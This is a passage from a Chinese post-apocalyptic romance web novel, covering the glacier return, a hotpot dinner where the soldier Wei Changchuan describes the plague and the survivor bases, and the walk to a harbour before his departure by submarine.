闵疏跟魏长川也一起生活了这么多天,他知道男人的睡眠质量很好,一般都是他先醒,魏长川还睡得正香,有些时候叫一声还叫不醒。
闻言,魏长川看了他一眼,没有说话。
他不是醒得早,而是根本没睡。这座冰川太危险,他需要保持警惕,然而在闵疏身边总是不知为何睡得很死,所以魏长川干脆没睡,就这么抱着闵疏躺了一夜。
不过一天不睡对免疫者而言不算什么。
魏长川将手帕在锅里的温水里洗净,拿出来拧干,对闵疏道:
“过来点。”
闵疏看着魏长川的动作,惊讶地长大了嘴。只见男人手里拿着张白底黑边、设计简洁的手帕,角落还绣了个小小的「w」,像是他的私人物品。
这、这是要给他洗脸?
“怎么了?” 魏长川见状,似乎是误会了什么,道:“这条我没有用过。”
闵疏慌张道:“不、我不是这个意思——”
魏长川蹙了蹙眉,似乎是觉得他磨磨蹭蹭的没了耐心,直接伸手捏住了他的下巴,将热帕子往青年脸上一糊。
闵疏感觉温热的帕子蹭过了自己的眉眼,下意识地闭上了眼睛:
“呜!”
魏长川是真的在给他洗脸,手法很熟练,在容易脏的眼角之类的地方用力蹭,就是有点太用力了,让闵疏想到了以前孤儿院隔壁厂区大院儿里的爷爷奶奶抓着自家猫洗脸的场景。
等帕子离开他的脸,闵疏趁机吸了口气,便见魏长川将帕子在温水里洗了,对他道:“抬头。”
闵疏乖乖抬头,魏长川将他的脖子擦了一遍,然后给他把手擦干净了,接着重新烧了水,用保温杯的盖子接了给他漱口。
闵疏被上上下下收拾干净,才被安置到一边,手上还顺便被塞了块昨天被吃完了巧克力。他就像是在忙乱时被大人打发到一边的小朋友,只能坐着吃零食看着魏长川收拾东西。
他这是……被照顾了?
闵疏长这么大,还没被别人照顾过。孤儿院的护工人手不足,很多时候都是大孩子带小孩子。由于身体上的问题,闵疏一直没有被领养,随着年龄相仿的孩子一个个被领养走,闵疏成为了年龄最大的孩子之一,因此也承担起了照顾弟弟妹妹的职责。
闵疏也因此养成了很勤快的习惯,有些时候没事情做都觉得手痒,一个人的时候,总想把这儿擦擦,再把那儿收拾一下。
所以看着魏长川在一边忙前忙后,自己什么都不用做,闵疏还有点不适应。
他拿着巧克力,一边吃一边看着魏长川整理物资,时不时地移开目光,东瞅瞅西看看,再装作不经意的样子往魏长川的方向看
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去。
当魏长川把东西用绳索绑好,转过身时,闵疏立即避开了目光,装作在看洞口上的冰柱。
在弥漫着冷意的冰洞里,魏长川额上还出了点细汗,他一手拿着外套,将收拾打包好的物资放在了洞外,转身回来便见闵疏窝在角落里吃着巧克力。
他走过去,把地上的皮草捡起来,偏头看了青年一眼。
只见青年低着头,缩成一团,正伸着粉色的舌尖一点点舔着巧克力。
也不咬,就光舔,好半天都没吃掉一点。
魏长川拿着皮草的动作一顿:“……你不想吃巧克力?“
“啊?” 闵疏没想到他会突然说话,有点诧异地抬起头,接着反应过来,解释道:“哦,这个有点硬——”
巧克力就是很普通的牌子,冰川的温度太低,经过一整晚被冻得硬邦邦的,如果不舔得融化一点的话会有点难咬。
闻言,魏长川微微抬了抬眉,接着点了点头,低下头去收拾手上的皮草。
闵疏坐在他身边,不知为何忽然有点脸红,低下了头将巧克力塞进了嘴里。心道这人做事就做事,看他干什么,还笑,搞得他吃东西都不自在。
·
略作修整后,两人从山洞出发,准备回程。
在走出冰川之前,魏长川想往回看一看他昨天迷路的地方。本来他是想自己去的,但闵疏表示他也很好奇,所以两个人就一起去了。
今天是个大晴天,在蔚蓝的天空下,冰川静静伫立,泛着微微的蓝光,景色美丽得有些不真实。
昨日刚刚下过雪,阳光照在洁白的雪面上,泛着近乎有些刺眼的白光。闵疏光是看着雪面就觉得眼睛有点刺痛,不得不用手遮着阳光,低着头跟在魏长川身后。
松软的积雪几乎吸去了所有杂音,四周十分安静,只能听见两人的脚步踏入踩在雪地上的声音。
闵疏盯着地上的积雪,有些出神,因为有魏长川在前头领路,他也没注意看路。
就在下一瞬,走在前头的魏长川忽然一停,闵疏因此撞上了他的背。
“哥,怎么了?”
闵疏揉了揉额头,有些惊讶地抬起头,他还以为两人会走很久,怎么忽然就停了。
魏长川背对着他,没有说话。闵疏有点奇怪,从他身后探出头向前望去,接着猛地愣住了。
只见不远处的雪地上,蔓延着一圈圈错综复杂的足迹。
昨天的雪半夜就停了,雪地上的足迹因此得以保留。只见一个个下陷的痕迹先是呈现出不规则的折现,到了中央收拢成圈状,一个盖着一个,可以看出当时留下足迹的人已经完全失去了方向,就在这个方寸之地不断地乱转。其中有些足迹已经接近悬崖,只要踏错半步,就有可能掉下冰川裂谷。
光是看着,闵疏都觉得心惊肉跳。
接着,他骤然一凛,回过头去看两人来时的方向——这里离他们昨天暂住的洞穴只有不到一百米的距离。
……魏长川就是在离洞口这么近的地方迷路的吗?
在想到这一点时,闵疏悚然一惊,忽然感到一阵寒意从背脊窜上。
“哥……” 闵疏抬头看向从刚才开始就一言不发的魏长川:“这、这是怎么回事?”
他的声音有点小,尾音中不自觉带了些颤抖,
似乎是听出了他声音中的恐惧,魏长川回过头,伸手按住了他的肩膀:“没事。”
闵疏顺着他的力道转过身,魏长川带着他朝冰川外的方向走去。
闵疏有点不安,走出去一段后,还想回头看看身后,却碍于魏长川放在他肩膀上的手未能成功。魏长川揽着他的肩膀,没有丝毫颤抖,闵疏转过头,见男人神情冷静,帽檐的阴影投在眉眼上,眸光冷若寒星。
18.回家
看见了那样诡异的场景,一直到走出冰川,两人间的气氛都有些凝滞。
闵疏心中疑惑,时不时抬头看一眼身边神色冷淡的魏长川,实在不明白为什么对方会在离洞口那么近的地方转着圈走。
难不成真是鬼打墙?闵疏心想他还特意在伊苏阿婆婆的遗体面前替魏长川求了平安呢,这么看来也没啥用。不过如果真的是鬼打墙,那他昨天喊魏长川那一声,说不定是恰巧破了迷障?
闵疏想着,摇了摇头,觉得自己是越琢磨越偏了,这都到玄学频道了,周易应该还管不到这儿来。
在他胡思乱想间,两个人走过冰舌,来到消融区的末端,远远得便听到了犬吠。被拴在避风处的雪橇犬从风中闻到了主人的气息,一个个欢呼雀跃,踏着毛茸茸的大爪子在冰面上激动地跑跳。
“穆里克!“
闵疏赶忙迎上去,迎头抱住了皮毛火红的阿拉斯加,将自己的脸埋进狗狗厚实的皮毛里,用力摩擦了几下,再狠狠吸了口夹杂着冰雪冷意的狗味,这才觉得自己好了一点。
“你们乖乖躲着了没有?没冷着吧?” 闵疏心疼地道:“主人好想你们。”
阿拉斯加似是听懂了,亲昵地舔了舔他的脸,闵疏捏了捏它的耳朵,另一只哈士奇这时凑了过来,闵疏也把它抱在了怀里。
把每一只都亲亲摸摸了一遍后,闵疏拿出冻鱼干和早上冲好的羊奶粉,将在外头等了一夜狗儿们个个喂得肚儿溜圆后,两人顺利坐上了狗拉雪橇。
没了装阿苏伊遗体的棺材,狗狗车队的速度更快,在晴朗的日光中,两人一个多小时就回到了中餐厅。
然而,闵疏刚刚将狗狗们领到后院,将雪橇从它们身上卸下来,天边火烧般灿烂的晚霞就已经笼罩了大地。
随着季节进入深秋,日出越来越晚,日落却越来越早。今天快中午了太阳才彻底升起来,现在就已经快落下去了。
闵疏望向辽阔的冰原,看着远处橙红一线,喃喃道:
“极夜快到了。”
魏长川站在他身后,听到这句话,在闵疏身后停了下来。两人就这样站在院子里,静静地看着天边的晚霞由橙色转为淡粉,随即没入云层中,缓缓与夜幕降临的深紫色融为一体。
当天空彻底变为深蓝时,魏长川在他身后道:“回去吧。”
“嗯。” 闵疏点了点头,最后看了眼天边,转过身抬头看向魏长川:“走吧,哥。”
魏长川垂下眼,暗淡的天色里看见青年明亮的眉眼。他状似不经意地抬起手,将一缕碎发从青年上翘的眼角旁抚开,遂回头打开了门。
·
在冰川呆了一整晚,为了犒劳一下两个人,闵疏牟足了劲做了顿大餐。
在冰冷黑沉的夜晚中,闵疏将气炉翻了出来,把鸳鸯锅架在上面,一边放水煮了辣味的红油火锅底料,一边用番茄煮和冷冻牛肉粒做了酸甜口味的番茄锅。红油的是给魏长川的,番茄的则是他自己的。闵疏虽然喜欢吃辣,却因为肠胃弱不太能多吃,平时在饭菜里放一点还好,但这种红油火锅的负担就有点太大了。不过就算不能吃,能闻闻味儿也是好的。
配菜有午餐肉,鱼肉,火锅粉,还有一些冷冻鱼丸,和闵疏之前自己做的冻豆腐。冰箱里剩下的冻猪肉被闵疏交给了魏长川,让他切成薄片。
厨房里普通的菜刀在魏长川手中似乎忽然变成了利器神兵,他的袖口挽起,一手按着肉块,轻易地切下了一片薄如蝉翼的肉片。
“这样可以吗?” 魏长川回头问他。
闵疏站在他旁边:“……可以厚一点。”
这都可以拿来当卫生纸了吧!
魏长川闻言点了点头,又回过头去切肉。闵疏站在他旁边看了一会儿,忽然发现男人每一次下刀,切下来的肉都是一样的厚度。
闵疏有点惊讶地道:“哥,你的刀工真好,是经常做饭吗?”
闻言,魏长川手下的动作未停,只是看了他一眼。
闵疏刚开始还有点疑惑,接着忽然反应过来,魏长川的刀工也有可能不是做饭练的。
他时常忘记外头现在是危险的末世,只将魏长川当成了一个和他一样流落小岛的旅人。外面爆发了全球性的大瘟疫,应该很危险吧?现在魏长川是基地的指挥官,那之前的时候,他又在做什么呢?
闵疏有些出神地想。
“在想什么?”
男人低沉的声音忽然响起,闵疏一凛,接着抬起头,便见魏长川已经切完了肉,将菜刀放在了一边:
“害怕了?”
闵疏一愣,接着失笑:“那倒不至于——” 他顿了顿,道:“就是有点好奇之前哥都在干什么。”
魏长川闻言,收回目光,没有回答,而是转身端着肉片走了出去。闵疏以为他是不想说,也就没多问,跟着他出了厨房中。
餐厅中,火锅里的汤底咕噜咕噜地散发着香气,旁边摆满了配菜,只是少了些蔬菜。不过魏长川似乎并不介意,一口一个肉卷吃得很香。闵疏则是比较喜欢鱼片和冻豆腐,番茄罐头滋味浓厚,和牛肉粒煮在一起滋味浓厚,酸甜的汤汁浸入了鱼片,嫩嫩的很美味。
闵疏吃着自己的鱼,看着魏长川一口一个地吃着肉卷,嘴唇被辣椒染得红红的,越看越有些眼馋。
碗里的番茄锅一下就不香了。
闵疏咽了口唾沫:“哥,你的能给我吃一口吗?”
魏长川抬眼看向他:“你能吃吗?”
闵疏有点心虚:“……只吃一点,应该没关系吧?”
虽然他上次自己煮火锅菜吃的时候在床上蔫巴了三天,但如果只吃一口的话——
闵疏盯着滚滚的红油锅,嗅着空气中热辣的气味,心中正天人交战之间,忽然看到魏长川站起来进了厨房,出来的时候手上端了一碗热水。接着烫熟了一片肉,在热水里涮洗掉了红油,再夹进他的碗里:
“吃吧。”
闵疏微微睁大了眼睛,看了眼魏长川,又看了看自己碗里的肉。魏长川或许不知道,但是在他的老家,吃火锅的时候只有父母会这样帮不能吃辣的小孩子涮火锅菜。
作为以嗜辣为名的省份出来的人,闵疏觉得有点丢脸,很不好意思地低下头把肉吃了。
虽然涮掉了表面的红油,但是火锅汤料里香料的滋味已经完全渗入薄薄的肉片里。闵疏嚼了两口,眼神立即亮了起来:
“好吃!”
闻言,魏长川又给他涮了几片,闵疏很快就把那点不好意思抛在了脑后,还是认真吃饭。
酒足饭饱后,照例是魏长川去刷锅。闵疏吃了火锅,整个人暖洋洋地摊在椅子上,过了一会儿,魏长川走了出来,在他对面坐下,忽然道:
“我之前在军队。”
闵疏听见他的声音,骤然一愣,接着忽然反应过来他是在回答他之前的问题。闵疏微微睁大了眼睛,一下子就坐直了。
魏长川垂着眼,语气很淡:“一开始我们被派到国外救灾
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,后来回了国内,再后来,编制解散,人类存续组织成立了远东基地,我就被派往了那里。”
闵疏听着,心下不禁一沉。魏长川虽然说的很简略,但寥寥数语之间就已经勾勒出了瘟疫侵袭之下,人类文明解体的过程。
闵疏胸口发凉,是要在多短的时间内失去大量人口,才会让军队甚至「国家」这个概念消失?
末世的可怖之处,从这一句话里扑面而来。
闵疏心里发紧,抬起头,有些艰涩地问:“那……我们,还剩多少人?”
魏长川知道他指的是在现存的人类基地中还剩下多少华国人,他道:“在我离开的时候,远东基地有36452人,北美基地的情况我不太清楚。”
闻言,闵疏心里咯噔一下,胃里立即像吃了个铁块一样沉。
有十几亿人口的国家,最后就只剩下三万多人。闵疏心里沉重极了,有好几分钟几乎说不出来话,他想到自己的大学室友,又想到孤儿院的几个阿姨,这么小的生还机率,他都没办法骗自己他们还活着。
就在这时,一只手伸过来,握住了闵疏放在桌上的手。
闵疏抬起眼,对上了魏长川的沉静的目光:
“基地已经建成三年了,现在情况已经比较稳定了。”
魏长川道。
闵疏知道他这是在安慰自己,勉强笑了笑,道:“幸好哥你现在才告诉我,要不然可能饭都吃不下去了。”
魏长川没说话,也没有放开他的手。闵疏低着头,安静了一会儿,才抬起头,道:“那……哥你是不是要回基地去?”
基地在西伯利亚,科学家应该都在基地里,魏长川来这里是为了采集冰川里面的病毒样本,现在采集到了,他应该就要回去了。
果然,在短暂的沉默之后,魏长川的声音传来:“是。”
这一刹那,闵疏说不清自己是什么感受。这时他终于有些理解了魏长川第一次为什么会不告而别,也许他最开始的计划就是以最快的速度采集完病毒样本后就离开,如果不是在风暴里迷了路,他和魏长川根本不会遇见。如果注定要分开,在什么都可能发生的末世之中,还是不要建立太深刻的联系为好。
不过现在说这些已经有些太迟了。
闵疏低着头,什么都没说,魏长川也没有说话,只是静静地握着他的手。男人掌心的热意不断传来,细密地包裹住他,如同这个人给他的感觉一般。
闵疏呼吸清浅,半晌后闭了闭眼,再抬起头时,脸上已经挂上了浅笑:
“哥是要回在西伯利亚的那个基地吗?” 他道:“那还挺远的,哥是坐潜艇回去吗?”
魏长川定定地看着他,眼眸中倒映出闵疏白皙的脸和弯弯的眉眼,半晌后,才垂下眼,放开了与他交握的手:
“对。”
“那应该要坐挺久的吧?哥路上要小心啊。” 闵疏笑着道。
两人坐在餐厅中,后来又聊了些有的没的,闵疏知道了魏长川一直都通过卫星通讯跟潜艇里同伴保持着联系,在把魏长川送上格陵兰后潜艇就在远处的北大西洋深处行驶,在接到魏长川成功采集样本的讯息后,他们表示会在三天后在小镇东北部的深水港靠岸接上魏长川。
闵疏还知道了,潜艇上的人都是与魏长川一样的免疫者,他们其中并不都是军人,也有其他各行各业的人,在成为千万里挑一的幸运儿获得免疫之后志愿加入了人类存续组织指挥部,再被重新编成小队去完成各种任务。
19.最后一天
而魏长川所在的是一支潜艇小队,小队里的也都是免疫者,常年在深海中穿梭,到世界的各个地方出任务。这次到格陵兰岛,魏长川也是坐潜艇来的。
“为什么不坐飞机?” 闵疏好奇道:“飞机应该更快吧,难不成天上也有病毒?”
魏长川回答他:“不是,但现在太冷了。”
经过连年人工向大气层投掷用于降温的化学弹,气温已经下降了很多。现在的大气高空平流层中的温度已经到了会影响飞机燃油流动性的程度,随便一层水汽就能让机翼结冰,而以人类在八年之间因为大量损失人口而急速倒退的工业制造水平,根本无法在短时间内生产出抗冻的飞机。
而且瘟疫爆发之处,就是通过全球上空稠密繁忙的航线网络造成了人口的极速减少。因此,现在人类基地只允许免疫者乘坐交通工具。回到基地时还需要长时间的隔离与消毒,以免将外界的病毒带回基地中,感染脆弱的普通人类。
闵疏此时洗了个热水澡,正窝在被窝里,整个人都暖暖的:“那哥你回基地岂不是也要隔离?”
魏长川的手臂环过他,半闭着眼睛:“对。”
闵疏问:“要隔离多久?”
魏长川:“三个月。”
闵疏闻言吓了一跳:“这么久?” 这都快小半年了,闵疏问:“为什么这么久?”
魏长川微微掀起眼,见闵疏一脸好奇地看着他,复又闭上眼,给他讲了一个故事。
瘟疫发展到中期,全球人口减少一半,各国政府决定成立「人类存续组织」,并且在温度寒冷的高纬度地区建立人类生存基地。
为了躲避空气中无处不在的悬浮病毒,东西方各在西伯利亚与加国北方建立了地下基地,靠着地面几个涡轮过滤系统沉降掉空气中的病毒。
而同时,西方的另一批科学家则是发现了病毒传播在高度上的限制,这种类似胶体般充满病毒的空气只会沉降在一定高度以下。由此,政府与众多科学家、建筑师一起设计建造了一座通天巨塔。
高楼建造在靠近水资源的世界最大淡水湖旁边,一共369层,被从上到下分为三个部分,被称作「下城」「中城」「上城」。位于安全高度之上的楼层建有配备落地窗的豪华大平层,里面的居民可以开窗,也可以呼吸新鲜空气,而最下100层的公寓却连窗户都没有,居民只能呼吸循环净化后府废气。
这座全球最高的人类基地被称为「巴别塔」,与传说中古代巴比伦王国的巨塔同名。
然而它却并未被幸运女神眷顾,一个住在高层的免疫者带入病毒,让瘟疫从最高处爆发,曾经斥巨资买下高层豪宅的名人显贵们蜂拥至下层,将病毒一路带下,最后塔内居民全灭。这座曾经被称为末世最豪华、最为接近末世前生活质量的人类基地在建成仅仅八个月后就宣布沦陷,成为了一座挤满感染者尸体的巨大墓碑。其中配备的强大电力系统在所有住户死亡之后仍然
持续运行了将近一年,每晚都会按时亮起灯光,照着一扇扇落地窗中的尸体,上演着一场场瑰丽而诡异的灯光秀。
光是听着,闵疏的背后就起了一层鸡皮疙瘩,一把抓住了男人的手臂:“哥,你别吓我!”
魏长川闭着眼,没说话,手安抚般地在他背后拍了拍:“别怕。”
闵疏脑中闪烁着一座楼里都是尸体的景象,忍不住朝魏长川凑近了些,抓住男人的手臂道:
“……这就是为什么要隔离三个月?”
“对。” 魏长川点了点头,顺手将靠近的青年搂进怀里:“从这个角度看,基地也没有那么安全。”
闵疏闻言一怔,有些诧异地抬头看向魏长川。
只见男人闭着眼,浓密的睫羽遮在深邃的眼窝上,面容很平静:
“里面人口太密集,一旦有人感染,就全完了。”
人类在病毒面前太脆弱了,现存的两个地下基地都仅靠着24h不间断运行的空气进化系统保护居民不受感染,但由于技术资源有限,基地内部的生活条件远算不上舒适。
基地内部没有太阳,没有新鲜的空气,也没有自由,所有居民都由人类文明存续组织集中管理,只能维护居民最低限度的日常生活需求。至于末世前的什么旅游,散步,踏青,逛街等等娱乐活动,便只能存在在人们的记忆里了。
而一旦有病毒进入基地内,基地里的居民们就如同瓮中之鳖,只用几个小时就会爆发瘟疫。
魏长川在黑暗中睁开眼,看向怀里的青年。
闵疏这几天被他抱惯了,白皙的面庞很顺从地靠在他的颈侧。青年的身体很轻,也很软,像是只过于瘦弱的猫,趴在他胸口一点重量也没有。
魏长川看着他,半晌后抬起手,轻轻捋过青年额角的一缕乱发:
“所以我不能带你走。”
他低声道。
闵疏闻言一愣,抬头看向魏长川,对上了男人沉黑的双眸。他说出不出魏长川脸上有什么神色,男人的眉宇间似乎有些什么情绪,又似乎什么都没有:
“到基地的路上会穿过一系列感染区,就算在潜艇内部也不一定绝对安全。” 他看着闵疏,平静道:“等到了西伯利亚,幸存者需要隔离三个月,才能进入基地,期间也不能保证绝对安全。”
在人类基地建立伊始,上亿的幸存者从世界各地的感染区向基地移动,可谓现代最大规模的人类迁徙,然而最后能抵达基地的人十不存一。魏长川是救援的亲历者,有时上一秒才经过感染检测的幸存者,24小时内就能突发症状暴毙,由此一车一船的幸存者遭到感染。很可能在救援的时候是一车活人,到半路就是一堆尸体了。到基地的转移就是一场赌博,在没有任何有效防护手段和特效药的大瘟疫中,每个人能依靠的只有自己的免疫系统,还有就是幸运女神的垂青。
他深知人类在病毒面前的脆弱,因此更不敢拿闵疏的性命冒险。
青年如此弱小,或许不需要病毒,光是闷热黑暗的潜艇内部就能让闵疏生病,样的脆弱的人类在病毒眼里无疑是最好的温床。
格陵兰岛是目前唯一一个有效拦截了病毒入侵的孤岛,闵疏所在的小镇更是方圆十几公里都没有人烟,从某种程度上来说,这个地方比基地更加安全。
这些,魏长川并没有说出来,然而闵疏却懂了。
他看着魏长川的眼睛,忽然意识到这个人是全然为他考虑。
而且在之前他还不知道末世的真相,多次请求魏长川带他回国时,男人就已经在为他考虑了,所以才数次拒绝了他想离岛的请求。
如果魏长川只是一个普通的朋友,他此时心中应该只有感激,然而不知是否是人在夜晚会变得感性,此时他心中酸软,有许多话想说,却又说不出口。
闵疏看着魏长川,最终只是轻轻笑了笑,道:“哥,我明白的。”
魏长川看到他的笑容,隐没在黑暗中的眉眼微微一动。
卧室里很黑,闵疏看不清他的神色,然而魏长川靠着变异后强大的夜视力,却能清晰地看见青年略带伤感的笑容。
魏长川默然无言。
在黑暗中,他沉默地看着青年,喉结动了动,却终究是什么都没说,只是伸手按着青年的
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后脑,让他靠进自己的怀里:“睡吧。”
闵疏什么都看不见,因而错过了魏长川神情中片刻的挣扎。
他虽然有些伤感,可也庆幸两人终于说开了,于是心满意足地靠了过去,在男人怀中找了个舒服的姿势,极其信赖地闭上了眼睛。
魏长川圈着他,手掌一下一下抚过他后脑的发丝,动作非常轻柔。
然而月光透过窗户,洒在他的手背上,却照出了一道道突起的青筋。
·
接下来的几天都是大晴天,太阳在近午时的时候升起,在下午便落下。灿烂的阳光照耀在冰原上,冰晶闪闪发光,是这座极地小岛在进入孤寂的永夜前散发的最后余热。
趁着天气好,闵疏开始为进入极夜做起了准备。
乘着还有点儿日光,他去了谷仓一趟,将新下的鸡蛋都取了回来,结果一回来,就发现魏长川不知什么时候拉着一张巨大的渔网从远处走来。网里是活蹦乱跳的鱼,个头都很肥美,尾巴有力地拍在冰面上,噼里啪啦得隔着好几米都能听见。
“哥、这——” 闵疏震惊了:“你什么时候去捕的鱼啊??”
魏长川放下渔网:“刚刚,给你过冬吃。”
闵疏往地上一看,这网鱼保守估计有200条,别说这个冬天,他今年都够了。
接着,魏长川极其有效率地处理了所有鱼,将它们分别切成鱼块、鱼片、剖去内脏的整鱼,给闵疏储存在了冰窖里。
当晚,两人不出意外吃了顿全鱼宴。
闵疏用鱼片和昨天剩下的火锅底料做了水煮鱼,又用将整鱼和豆腐一起烧了,最后还用剩下的鱼骨和边角肉块儿熬了鱼汤。
魏长川吃他的饭吃久了,已经很习惯吃辣了,一口一片鲜辣的鱼肉,保持平稳的速度将那盆水煮肉消耗了一大半。
闵疏则是夹了一筷子面前的红烧鱼肉,海鱼肉质肥嫩,脂肪和营养含量很高,但是口感比起河鱼还是差了一点儿。闵疏尝了一口,嚼了嚼咽下后,道:
“如果有新鲜的葱就好了。”
海鱼的口感较为粗糙,腥味也比较大,如果能加些新鲜的葱姜在口味上能好上不少。可惜随着镇民的离开,岛上的物资不流通,他的存货已经没多少了。
就在这时,魏长川说:“过段时间,会有人送来物资。”
闵疏一愣,抬起头,便见魏长川低着头将一片鱼肉夹进碗里:“到时候别出门,让他把东西扔在院子里。”
闵疏眨了眨眼睛:“会有人来?” 他惊奇道:“谁?”
魏长川看了他一眼,遂低下头:“北美基地的人。”
闵疏闻言恍然,确实,真论起来应该比起位于西伯利亚的远东基地,还是位于加国北部的基地离这里最近。
但好歹也隔着海峡呢,现在温度一天比一天低,附近的海域上都是浮冰。
“会不会很麻烦?” 闵疏有点担忧地问:“太麻烦的话就不用了,我这儿的东西还够吃。”
魏长川头都没抬,道:“不会。他欠我一个人情。”
闵疏闻言一愣,魏长川形容的方式仿佛他是以个人的名义拜托了什么人一样。他没再问,而是乖顺地点了点头,物资多一些总比少一些好,毕竟谁也不知道这个冬天会持续多久,夏天又什么时候才会来。
说完这个,两人便安静地吃起饭来,全鱼宴被魏长川扫荡一空。
闵疏看着很欣慰,毕竟这是魏长川在他这儿的最后一顿饭了,等到了潜艇上估计是没啥好吃的,还是趁着有吃的多吃点吧。
隔日清晨,他们出发去港口。
20.分别
格陵兰岛上没有公路,镇与镇之间只能坐船或者乘飞机。
闵疏所在的这个小镇没有机场,但有数个港口。离闵疏家最近的是个浅水港,深水港也不算远,不过那边礁石林立,狗拉雪橇过不去,只能步行前往。
吃过午饭后,两人出发。
魏长川原本是不想让他送的,但闵疏执意要去,他拗不过,深水湾也不算远,便只得同意。不过让闵疏带上了一只雪橇犬奇克,以便到时候将他领回家。
闵疏有些不服气:“哥是信不过我?那里我去过很多次了,不会找不回来的。”
魏长川道:“没有不信。”
他半蹲着,正往雪橇犬的脖子上套牵引绳。说罢抬眼与狗对视了一眼,阿拉斯加奇克很温顺地叫了一声,似是从他哪儿得到了什么命令。
站在一边的闵疏:……
总觉得魏长川相信一条狗都比相信他多。
明明老是迷路的人是魏长川,上次在冰川,还是他把这个人找回来的呢。这句话闵疏只敢在心下腹诽,没说出来。
这时,魏长川转过头,递给他一个东西。闵疏低头一看,发现那是个小小的黑色装置,上面有一个按钮,不知是做什么的。
魏长川道:“你到了家,按一下上面的按钮,我会知道。”
闵疏点了点头,接着忽然想到了什么,抬头问:“哥,你走了之后,我有什么方法能联络到你吗?”
格陵兰岛上许多地方都没有信号,闵疏所在的这个小镇就没有。他的手机在许多年前就成了个没用的铁盒子,之前还能玩玩不用联网的小游戏,后来有一次闵疏把它掉到雪堆里,给彻底冻坏了。
不过就算是好的应该也没用,现在外头变成了那个样子,应该也没有电信运营商了。写信呢?估计也没有邮差。闵疏的心渐渐有些发沉,他逐渐意识到,一旦魏长川离开,他似乎没有什么手段能联系得上对方。
果然,魏长川沉默着没说话。
末世的通讯手段十分有限,基本上只有几个固定的通话设施能够通过卫星信号接入通讯。魏长川是世界上也少有的几个能够携带随身通讯设备的人,但就算是他手上的设备也只能接通潜艇上的固定设备,有些时候信号还很不好,基本只能保证最低限度的交流,
而他不能把设备留给闵疏,虽然他很想这么做。
然而闵疏已经从他的沉默里得知了一切,他没说什么,只是道:“没关系。” 他举起手中的小黑盒子,笑着魏长川咧开嘴笑:“那我没事的时候就多按按这个,哥就知道我一切都好啦。”
青年的声音欢快清亮,里面没有一点悲伤。
魏长川垂眼看着闵疏白皙的脸,眼睛弯弯的,唇角一点小梨涡。就是气色不太好,脸色白得几乎透明,嘴唇呈现出一种失血的淡粉。不健康的身体削减了这个年纪男孩子身上的应该有的血气方刚,闵疏的性格很温顺,非常友善,似乎无论什么时候都很懂事,不会叫人为难。
魏长川凝视他的笑容,半晌后转过头,顺手按了按青年的后颈:“走吧。”
下午一点,两人向深水港出发。
今天的天气很好,晴朗中带着点微风,冰原和雪壁伫立在阳光下,空气中都是冰雪干净的味道。
奇克跑在前面,此时天气好,也不用牵,就仍由它在冰原上撒欢儿。阿拉斯加犬背脊上红棕色的皮毛随着跑动蹦跳,远远看着似一朵火烧云。这种非黑白色的雪橇犬在极地很受欢迎,因为毛色不会和冰雪混淆在一起,比较容易辨认。
穿衣服也是同样的道理,闵疏本来穿了件白色绒毛的袍子,魏长川一定要他在外头套一件大红的冲锋衣,在雪原上非常显眼。
闵疏被包得跟个粽子似得,不算太轻便地在冰原上走着。阳光有些刺眼,他抬起手,将毛毡帽子抬高了些,在白花花的光芒下眯了眯眼睛。
就在这时,一只手伸过来,将他放在帽子上的手牵下来,稳稳握住。
熟悉的热度覆上来,闵疏弯起眼睛,抬头看向男人:“哥,今天没有雪。”
魏长川没回头,牵着他往前走:“路上滑。”
在茫茫雪原上,两人就这么牵着手,一前一后地走。
闵疏抬起眼,男人黑色的衣袍在风中翻滚,为他挡去了大部分凉风。四周的景色如诗如画,晴日照雪,远驰的海岸线上冰川浮动,几乎像是梦中才会如果忽略现在是末世,人类种族的濒危,和即将到来的分离,这几乎近似是一场约会了。
他抬眼看了看魏长川,又低下头,将手握紧了些,私自决定将这当成一场约会。
虽然魏长川还没真正说过喜欢他。
不过现在要说也晚了,闵疏决定忽略这些细枝末节,他一向是个很容易满足的人。换个角度想想,能在格陵兰风景这么优美的地方和大帅哥牵着手散步,换作之前就是个普通男大的他想谈还谈不到呢。
这么想着,闵疏开心了起来,盖过了分离带来的一点忧伤。
两人从中午走到下午,在太阳西斜之时,终于抵达了海湾。深水港旁没有沙滩,取而代之的是四处林立的黑色礁石,与远处海面上漂浮的大块浮冰交相呼应,是与沙滩完全不同的景色。
闵疏望着远处浮动的冰山,有些发愣,没注意到魏长川什么时候松开了他的手。
“想什么呢?”
低沉的男声响起,闵疏回过神,见魏长川站在一块礁石上,居高临下地看着他。
魏长川本身身量就高,这样略低着头,帽檐的阴影盖住了眉眼,就只剩下身形带来的强大压迫感。
闵疏一怔,心想就这样拍下来都能去电影里直接当反派了,同时又觉得很帅,这身军装就要这样的人穿起来才有感觉。
魏长川看着他,发现青年还在发愣,朝他勾了勾手:“过来。”
闵疏下意识地走进,下一瞬就被抓住手臂拉上了礁石。他没站稳,下意识地用手撑住魏长川的胸膛,往下看了一眼:“好高!”
魏长川撑住他:“看那边。”
闵疏随着他示意的方向望去,立即瞪大了眼睛:“哇”
远处正好能看见一处巨大的峡湾,千万年来冰川不断地向下侵蚀,形成陡峭的山壁,冰盖自陆地延升,沿着峭壁倾斜而下,与海面几乎形成直角。
在阳光的照射下冰壁四周透明,中心幽蓝,静静屹立在海面上,宛若一座横空出现的冰墙。
“真美,” 闵疏喃喃道。
两人静静地看了一会儿,闵疏被海风吹得微微眯起眼,低下头看了看魏长川横在他腰上的手臂,忽然想到了什么,偏过头道:“哥,我们这样是不是有点像在演《泰坦尼克号》?”
话一出口,隔了没一秒闵疏就惊觉自己说错了话。他自顾自地将今天当成约会,纯属自娱自乐,人家是怎么想的还不知道呢,用个爱情电影打比方不合适。
“哥,我——” 他有点惊慌,刚想说别当回事,就见魏长川回过头,看着他道:“是有点像。”
魏长川冲他笑了笑,转过身跳下礁石,稳稳地落在地上,随即转过身,朝礁石上的闵疏抬起手:“下来吧,我接着你。”
礁石上,闵疏微红了脸,他顿了片刻才伸出手,放在了魏长川的手心。
魏长川牵过他的手,一手掐着他的腰,将闵疏从礁石上抱下来。
抱下来后,也没有松手。闵疏低下头,看着两人交握的双手,心中升起些许暖意。
他不是傻子,自然感受得到他们之间浮动的丝缕暧昧。
虽然他们刚见面时,魏长川像是个很冷漠的人,但也许是因为可怜他的缘故,男人对他其实一直都挺温柔的。而今天的魏长川似乎更加柔和,虽然他什么都没说,但闵疏能从他的举动里感受到那些情感。
他们对彼此,也许都不仅是纯粹的友谊,但在这个时间这个地点,似乎又没有说破的必要。
闵疏抿了抿嘴唇,想到电影,就想到了自己刚才担心的事情,抬头对魏长川说:
